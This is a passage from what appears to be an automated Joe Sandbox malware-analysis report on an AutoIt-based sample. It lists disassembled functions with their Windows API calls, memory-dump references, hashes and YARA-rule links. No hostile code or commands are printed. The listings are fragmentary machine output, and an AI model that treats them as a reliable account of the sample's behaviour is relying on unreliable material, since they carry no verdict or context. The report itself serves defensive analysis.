                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                                              • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                              • API String ID: 4137639002-1221869570
                                                              • Opcode ID: 7ff55c3f5ab66eb4127fb15328fb752a7085ee22ef7db5c11327924a229e7b66
                                                              • Instruction ID: 0c7028d93b52e658bc6bdd6ea5ee498d382e647ffc870ece1301b42de94aa93a
                                                              • Opcode Fuzzy Hash: 7ff55c3f5ab66eb4127fb15328fb752a7085ee22ef7db5c11327924a229e7b66
                                                              • Instruction Fuzzy Hash: 31915974A083119FC700EF68D58196AB7E5FF89314F14892DF88A8B351DB34ED45CB92
                                                              Function 00932A5C Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenu.USER32(?), ref: 00932AE2
                                                              • GetMenuItemCount.USER32(00000000), ref: 00932B14
                                                              • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00932B3C
                                                              • _wcslen.LIBCMT ref: 00932B72
                                                              • GetMenuItemID.USER32(?,?), ref: 00932BAC
                                                              • GetSubMenu.USER32(?,?), ref: 00932BBA
                                                                • Part of subcall function 009042CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 009042E6
                                                                • Part of subcall function 009042CC: GetCurrentThreadId.KERNEL32 ref: 009042ED
                                                                • Part of subcall function 009042CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00902E43), ref: 009042F4
                                                              • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00932C42
                                                                • Part of subcall function 0090F1A7: Sleep.KERNEL32 ref: 0090F21F
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                                              • String ID:
                                                              • API String ID: 4196846111-0
                                                              • Opcode ID: c162bcc3aed338cffc969a95369c10e0a3bf61266ca476bf018503e9ef80666d
                                                              • Instruction ID: 31e84cbdc27fa5bc9ec8005e15f27e535e25c0758fbe0def617eac37857aa32f
                                                              • Opcode Fuzzy Hash: c162bcc3aed338cffc969a95369c10e0a3bf61266ca476bf018503e9ef80666d
                                                              • Instruction Fuzzy Hash: 6E716C75A00205AFCB10EF68C845AAEB7F5FF49310F148899E856EB351DB74EE418FA1
                                                              Function 009387FD Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindow.USER32(00000000), ref: 00938896
                                                              • IsWindowEnabled.USER32(00000000), ref: 009388A2
                                                              • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0093897D
                                                              • SendMessageW.USER32(00000000,000000B0,?,?), ref: 009389B0
                                                              • IsDlgButtonChecked.USER32(?,00000000), ref: 009389E8
                                                              • GetWindowLongW.USER32(00000000,000000EC), ref: 00938A0A
                                                              • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00938A22
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                              • String ID:
                                                              • API String ID: 4072528602-0
                                                              • Opcode ID: 7b51be100c46b81305db48449992ee95c3d70a06ef6341ae67b81120842d76eb
                                                              • Instruction ID: d657fcd742ba94bc36b58aa31db50af88ef5258cecd8ac85903b6994a873a871
                                                              • Opcode Fuzzy Hash: 7b51be100c46b81305db48449992ee95c3d70a06ef6341ae67b81120842d76eb
                                                              • Instruction Fuzzy Hash: C0719834608304AFEB259F64C894FBBBBB9EF4A300F144459F96A972A1CB31A941DF11
                                                              Function 0090808C Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009080D1
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009080F7
                                                              • SysAllocString.OLEAUT32(00000000), ref: 009080FA
                                                              • SysAllocString.OLEAUT32 ref: 0090811B
                                                              • SysFreeString.OLEAUT32 ref: 00908124
                                                              • StringFromGUID2.OLE32(?,?,00000028), ref: 0090813E
                                                              • SysAllocString.OLEAUT32(?), ref: 0090814C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                              • String ID:
                                                              • API String ID: 3761583154-0
                                                              • Opcode ID: f76b774765b503d5e02a0d8dd88cb2d078cd0bd11f7bdd20fe73ce40485e7cca
                                                              • Instruction ID: 602159b1dd9983a0f6a437ae8774322734f5e0af7518bf34d21b95754455cc9f
                                                              • Opcode Fuzzy Hash: f76b774765b503d5e02a0d8dd88cb2d078cd0bd11f7bdd20fe73ce40485e7cca
                                                              • Instruction Fuzzy Hash: 11218371319204AFDB509FA8DC88DAB77ECEF493607048525F945CB2E0DA74EC85DB64
                                                              Function 00910D8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(0000000C), ref: 00910DAE
                                                              • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00910DEA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateHandlePipe
                                                              • String ID: nul
                                                              • API String ID: 1424370930-2873401336
                                                              • Opcode ID: 7c07fa3702397dfb3e14097e029706a46a90117a3d82fcbf80462a1993d82e04
                                                              • Instruction ID: 0a1452f88afe250cd1a5cc64329ff1da489886c3398e2847ed9fd54d09b6ec13
                                                              • Opcode Fuzzy Hash: 7c07fa3702397dfb3e14097e029706a46a90117a3d82fcbf80462a1993d82e04
                                                              • Instruction Fuzzy Hash: 18216274A043099FDB209F65DC04BDABBA8AF85724F204E19F9A1D72D0D7B298C0DF50
                                                              Function 00934A0C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008A7759
                                                                • Part of subcall function 008A771B: GetStockObject.GDI32(00000011), ref: 008A776D
                                                                • Part of subcall function 008A771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 008A7777
                                                              • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00934A71
                                                              • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00934A7E
                                                              • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00934A89
                                                              • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00934A98
                                                              • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00934AA4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CreateObjectStockWindow
                                                              • String ID: Msctls_Progress32
                                                              • API String ID: 1025951953-3636473452
                                                              • Opcode ID: db614d62ddc5a2077c92b526469e83e4cce2594af89590cf30973deabd552364
                                                              • Instruction ID: 587e6fe6bc85936cf42335088e0a609ba11387cb2c8893fcb386f072942979f7
                                                              • Opcode Fuzzy Hash: db614d62ddc5a2077c92b526469e83e4cce2594af89590cf30973deabd552364
                                                              • Instruction Fuzzy Hash: 521186B215021DBEEF119F64CC85EE77F9DEF08758F014111BA18E6060C6769C619BA4
                                                              Function 0090E223 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0090E23D
                                                              • LoadStringW.USER32(00000000), ref: 0090E244
                                                              • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0090E25A
                                                              • LoadStringW.USER32(00000000), ref: 0090E261
                                                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0090E2A5
                                                              Strings
                                                              • %s (%d) : ==> %s: %s %s, xrefs: 0090E282
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadModuleString$Message
                                                              • String ID: %s (%d) : ==> %s: %s %s
                                                              • API String ID: 4072794657-3128320259
                                                              • Opcode ID: 4703ba912f2f63d79329e038fe7337110f04f9f45ec5fbad7c79d20b179218f2
                                                              • Instruction ID: 6611581116d1e878d47ca91dd3766fc924ab3f2fca2d8dbf742b4bed2108c896
                                                              • Opcode Fuzzy Hash: 4703ba912f2f63d79329e038fe7337110f04f9f45ec5fbad7c79d20b179218f2
                                                              • Instruction Fuzzy Hash: 0E0186F69152087FE71097D4DD89EE7776CD708304F004591B755E2041EA749E849F70
                                                              Function 009225BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 0092271D
                                                              • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0092273E
                                                              • WSAGetLastError.WSOCK32 ref: 0092274F
                                                              • htons.WSOCK32(?,?,?,?,?), ref: 00922838
                                                              • inet_ntoa.WSOCK32(?), ref: 009227E9
                                                                • Part of subcall function 00904277: _strlen.LIBCMT ref: 00904281
                                                                • Part of subcall function 00923B81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0091F569), ref: 00923B9D
                                                              • _strlen.LIBCMT ref: 00922892
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
                                                              • String ID:
                                                              • API String ID: 3203458085-0
                                                              • Opcode ID: d92d43f977b66d9130465220d589822e90e08048b478b739da0c3f44f66e7401
                                                              • Instruction ID: 42d90e31639e7f55a1f6e9d34b6e689451356ba3d27bb24ffc2e1618a30cc217
                                                              • Opcode Fuzzy Hash: d92d43f977b66d9130465220d589822e90e08048b478b739da0c3f44f66e7401
                                                              • Instruction Fuzzy Hash: C1B1C075204310AFD324DF28D895F2A7BA9FF85318F58854CF4968B2A2DB31ED45CB92
                                                              Function 008D0547 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __allrem.LIBCMT ref: 008D044A
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008D0466
                                                              • __allrem.LIBCMT ref: 008D047D
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008D049B
                                                              • __allrem.LIBCMT ref: 008D04B2
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008D04D0
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                              • String ID:
                                                              • API String ID: 1992179935-0
                                                              • Opcode ID: 2c635347f6fb7bc080f97231395b1708db1b00bed18cf3e190c3431c6bc10d53
                                                              • Instruction ID: a7c4c89e71af1d87167a65a7c29435d3d7e91201f6db303c6cb0a70623b9e8f0
                                                              • Opcode Fuzzy Hash: 2c635347f6fb7bc080f97231395b1708db1b00bed18cf3e190c3431c6bc10d53
                                                              • Instruction Fuzzy Hash: A081A172A007069BE7249A6DC881F6E77A9FF55328F24422FE611D6391EBB0D9008F95
                                                              Function 008D658E Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,008C8669,008C8669,?,?,?,008D67DF,00000001,00000001,8BE85006), ref: 008D65E8
                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,008D67DF,00000001,00000001,8BE85006,?,?,?), ref: 008D666E
                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 008D6768
                                                              • __freea.LIBCMT ref: 008D6775
                                                                • Part of subcall function 008D3BB0: RtlAllocateHeap.NTDLL(00000000,?,?,?,008C6A99,?,0000015D,?,?,?,?,008C85D0,000000FF,00000000,?,?), ref: 008D3BE2
                                                              • __freea.LIBCMT ref: 008D677E
                                                              • __freea.LIBCMT ref: 008D67A3
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1414292761-0
                                                              • Opcode ID: 8393721282baefc94d4f3bcfff2f3b02697df070d8520ec6ee73f82328998308
                                                              • Instruction ID: 074275e6f49f848b73c50138cc2b8838a69d35ae3aed5ac074b0047fdc49e020
                                                              • Opcode Fuzzy Hash: 8393721282baefc94d4f3bcfff2f3b02697df070d8520ec6ee73f82328998308
                                                              • Instruction Fuzzy Hash: 2F51E27260021EABDB259F68CC81EAF77AAFF40764F14432AFC14D6250EB34DC64DA91
                                                              Function 0092C53A Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 0092D2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0092C00D,?,?), ref: 0092D314
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D350
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3C7
                                                                • Part of subcall function 0092D2F7: _wcslen.LIBCMT ref: 0092D3FD
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0092C629
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0092C684
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0092C6C9
                                                              • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0092C6F8
                                                              • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0092C752
                                                              • RegCloseKey.ADVAPI32(?), ref: 0092C75E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                              • String ID:
                                                              • API String ID: 1120388591-0
                                                              • Opcode ID: 2c68fdbe2f9f7488ce965b51e2429967e87fa3e5898303ae44d51d029898a8cd
                                                              • Instruction ID: 89cd915f493a34395da7564c04b3525273b7ed9784391a8ce4e63a40b09538a6
                                                              • Opcode Fuzzy Hash: 2c68fdbe2f9f7488ce965b51e2429967e87fa3e5898303ae44d51d029898a8cd
                                                              • Instruction Fuzzy Hash: EB817A71208241AFD714DF24D895E2ABBE9FF85308F14895CF4998B2A2DB31ED45CF92
                                                              Function 0090003D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(00000035), ref: 00900049
                                                              • SysAllocString.OLEAUT32(00000000), ref: 009000F0
                                                              • VariantCopy.OLEAUT32(009002F4,00000000), ref: 00900119
                                                              • VariantClear.OLEAUT32(009002F4), ref: 0090013D
                                                              • VariantCopy.OLEAUT32(009002F4,00000000), ref: 00900141
                                                              • VariantClear.OLEAUT32(?), ref: 0090014B
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCopy$AllocInitString
                                                              • String ID:
                                                              • API String ID: 3859894641-0
                                                              • Opcode ID: 2a1dcc9ec743c77db44ac89107795fd83cb60a590693c2bb792176048b39960e
                                                              • Instruction ID: 06b8c3c6ac2eadade4ed54e81466676e85c0068e1c421bc3070032516d86fe67
                                                              • Opcode Fuzzy Hash: 2a1dcc9ec743c77db44ac89107795fd83cb60a590693c2bb792176048b39960e
                                                              • Instruction Fuzzy Hash: F351E831644310EEDF20AB689899B29B3E8FF85310F14844BF906DF2D6EB749C40DB96
                                                              Function 00916DE8 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _wcslen.LIBCMT ref: 00916E36
                                                              • CoInitialize.OLE32(00000000), ref: 00916F93
                                                              • CoCreateInstance.OLE32(00940CC4,00000000,00000001,00940B34,?), ref: 00916FAA
                                                              • CoUninitialize.OLE32 ref: 0091722E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                              • String ID: .lnk
                                                              • API String ID: 886957087-24824748
                                                              • Opcode ID: 153a5695736bbc22885f0b60fbbde06844d98008f146e0a539abab2090ab8706
                                                              • Instruction ID: 92085d4057b4d0b4cc66d8cf8934ac0bf591fc7fa7f5b1f16aa2148e0535936d
                                                              • Opcode Fuzzy Hash: 153a5695736bbc22885f0b60fbbde06844d98008f146e0a539abab2090ab8706
                                                              • Instruction Fuzzy Hash: 74D15871608205AFD300DF68C881EAAB7E8FF95704F04496DF595CB262DB31ED46CBA2
                                                              Function 00938B3A Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,008FFB8F,00000000,?,?,00000000,?,008E39BC,00000004,00000000,00000000), ref: 00938BAB
                                                              • EnableWindow.USER32(?,00000000), ref: 00938BD1
                                                              • ShowWindow.USER32(FFFFFFFF,00000000), ref: 00938C30
                                                              • ShowWindow.USER32(?,00000004), ref: 00938C44
                                                              • EnableWindow.USER32(?,00000001), ref: 00938C6A
                                                              • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00938C8E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$Show$Enable$MessageSend
                                                              • String ID:
                                                              • API String ID: 642888154-0
                                                              • Opcode ID: 54b8737ea7b1c57173987c99b325b61acce0f97b0d791450cd244babf1731b79
                                                              • Instruction ID: 75e66ffa3d7b8fbc569d026a3ca67cf1000a5b011a77ddc3a5e5b075f8a7aa6c
                                                              • Opcode Fuzzy Hash: 54b8737ea7b1c57173987c99b325b61acce0f97b0d791450cd244babf1731b79
                                                              • Instruction Fuzzy Hash: A641E670616345AFDB15CF24D999FA2BBF4FB49304F185169F6484B2A2CB31A885CF50
                                                              Function 00922C37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32(?,?,00000000), ref: 00922C45
                                                                • Part of subcall function 0091EE49: GetWindowRect.USER32(?,?), ref: 0091EE61
                                                              • GetDesktopWindow.USER32 ref: 00922C6F
                                                              • GetWindowRect.USER32(00000000), ref: 00922C76
                                                              • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00922CB2
                                                              • GetCursorPos.USER32(?), ref: 00922CDE
